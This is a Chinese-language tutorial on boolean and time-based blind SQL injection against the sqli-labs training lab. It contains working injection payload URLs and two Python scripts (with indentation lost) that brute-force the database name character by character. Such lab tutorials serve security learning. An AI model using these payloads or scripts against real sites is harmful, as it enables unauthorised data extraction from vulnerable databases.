盲注
盲注也可以叫做布尔型注入,主要使用在存在SQL注入漏洞但是不能直接查询爆出内容的地方,主要依靠逻辑的真假来实现爆出数据,盲注的效率相对较低。
盲注主要分为普通型盲注和时间盲注(延时注入),普通型注入主要看逻辑真假返回时页面的不同进行判断,而延时注入用于页面没有任何数据返回且逻辑不管真假前端页面也无不同的请况下。
在联合注入中我们就给出了有关字符串的一些函数,在盲注中也需要使用到这些函数。
length() # 返回字符串的长度
substring()
substr() # 截取字符串
mid()
left() # 从左侧开始取指定字符个数的字符串
concat() # 没有分隔符的连接字符串
concat_ws() # 含有分割符的连接字符串
group_conat() # 连接一个组的字符串
ord() # 返回ASCII 码
ascii()
hex() # 将字符串转换为十六进制
unhex() # hex 的反向操作
md5() # 返回MD5 值
floor(x) # 返回不大于x 的最大整数
round() # 返回参数x 接近的整数
rand() # 返回0-1 之间的随机浮点数
load_file() # 读取文件,并返回文件内容作为一个字符串
sleep() # 睡眠时间为指定的秒数
if(true,t,f) # if 判断
find_in_set() # 返回字符串在字符串列表中的位置
benchmark() # 指定语句执行的次数
普通盲注
普通盲注的原理就是页面依据SQL语句的真假返回不同的页面或信息,我们只需要让SQL服务器去判断查询语句的真假就可以爆出数据库的数据。
首先要明白逻辑判断,然后在盲注中尽量使用and,不要使用or。
True and True =True
True and Flase =Flase
Flase and Flase =Flase
True or True =True
True or Flase =True
Flase or Flase =Flase
这里结合sqli-labs第八关学习普通型的盲注
http://127.0.0.1/sqli-labs/Less-8/?id=1
此时页面显示了’you are in…’
再次尝试将?id=1改为?id=0,此时前端页面就没有了’you are in…’
通过这个我们就可以初步判断数据库中含有id=1的数据而没有id=0的数据,因此当逻辑为真时就会返回给页面’you are in…’,而逻辑为假时就不会出现’you are in…’,如果这里存在SQL注入漏洞则可以使用普通盲注的方法进行注入从而获取数据库数据。
所以我们再判断这里存不存在SQL注入漏洞,判断的方式和MySQL原理那篇博客的方法一样。
http://127.0.0.1/sqli-labs/Less-8/?id=1' and 1=1 --+ 页面返回'you are in...'
http://127.0.0.1/sqli-labs/Less-8/?id=1' and 1=2 --+ 页面无任何返回
发现传入之后将语句完整构造出来了,这样实现了数据库对我们的输入进行了逻辑判断,所以确定这里存在普通盲注。
那其实说到这里应该对注入方式应该比较明了了
真且真为真,那么就会返回’you are in…’
真且假为假,那么就不会返回’you are in…’
所以我们需要在and后面构造SQL语句,然后看是否返回了’you are in …’
这里对查询数据库名进行一个演示
127.0.0.1/sqli-labs/Less-8/?id=1' and substr(database(),1,1)='t' --+
substr()是一个截取字符串的函数,substr(database(),1,1)指的是截取数据库名从第一个字符开始截取一个,然后与’t’作比较
这里返回时空,所以说明了数据错误,也就是数据库名第一个字符不是t
127.0.0.1/sqli-labs/Less-8/?id=1' and substr(database(),1,1)='s' --+
出现了’you are in…'说明了语句为真,也就是数据库名第一个字符为s。
还有使用ord函数结合二分法进行查询数据
127.0.0.1/sqli-labs/Less-8/?id=1' and ord(substr(database(),1,1))=115 --+
这句也会返回’you are in…’
依次类推,也可以放入其他的爆表爆字段爆值的语句,但是效率较低,可以使用burp的intruder模块加快查询速度,或者使用脚本。这里给出一个脚本参考学习,大家自己根据实际情况和所要查询的内容编写脚本
import requests
s=requests.session()
flag = ''
for i in range(1,50):
for j in '{qwertyuiopasdfghjklzxcvbnm_@#$%^&*()_+=-0123456789,./?|}':
url="http://192.168.31.140/sqli-labs/Less-8/?id=1' and substr(database(),{},1)='{}'--+".format(i,j)
c = s.get(url ,timeout=10)
#print c.text
if 'are' in c.text:
flag += j
print(flag)
break
时间注入(延时注入)
学习时间注入必须先要提到几个函数
if(A,B,C) 表达式A正确则返回B,错误则返回C
sleep() 将程序运行延时暂停,sleep(5)则延时5秒再继续执行
benchmark() 指定语句执行的次数
时间注入的条件是在于虽然存在SQL注入的漏洞,但是执行的结果不会在前端有返回,也不能像普通盲注一样通过前端的改变来判断查询语句的正确或错误,此时就需要通过时间注入的方式达到查询数据的目的
为了更好看到延时的效果,可以通过burp通过返回数据包的时间进行判断
但是不管怎么样,还是需要判断是否存在SQL注入漏洞,面对这种无论输入什么数据前端都没有明显变化,使用1’ and 1=1 --+和1’ and 1=2 --+ 来进行判断是无效的
但是可以输入?id=1’ and sleep(5) --+
由于网络的原因,其实这里就是延迟了5秒左右,说明这里存在SQL时间盲注漏洞
这里还是查询一下数据库名做个演示
192.168.31.140/sqli-labs/Less-9/?id=1' and if(substr(database(),1,1)='a',sleep(5),1) --+
如果数据库名第一个字符为a则会延时5秒执行,否则返回的是1
发现数据包仍然是正常的返回了数据,说明数据库名的第一个字符不为a
192.168.31.140/sqli-labs/Less-9/?id=1' and if(substr(database(),1,1)='s',sleep(5),1) --+
说明数据库第一个字符为s,这样将数据库的查询语句换成其他的就可以完成爆库,爆表,爆字段,爆值。
127.0.0.1/sqli-labs/Less-8/?id=1' and if(ord(substr(database(),1,1))=115,sleep(5),1) --+
这个请求也会延迟5秒后再进行执行
这里也给一个脚本进行参考
import requests
import time
s=requests.session()
flag = ''
for i in range(1,50):
for j in '{qwertyuiopasdfghjklzxcvbnm_@#$%^&*()_+=-0123456789,./?|}':
startTime = time.time()
url="http://192.168.31.140/sqli-labs/Less-8/?id=1' and if(substr(database(),{},1)='{}',sleep(5),1) --+".format(i,j)
c = s.get(url)
if time.time() - startTime > 5:
flag += j
print(flag)
break
else:
print('{}不对,继续运行'.format(j))
总结
主要明白了一些关键函数的使用和查询语句其实百变不离其中,可以顺利完成SQL注入攻击。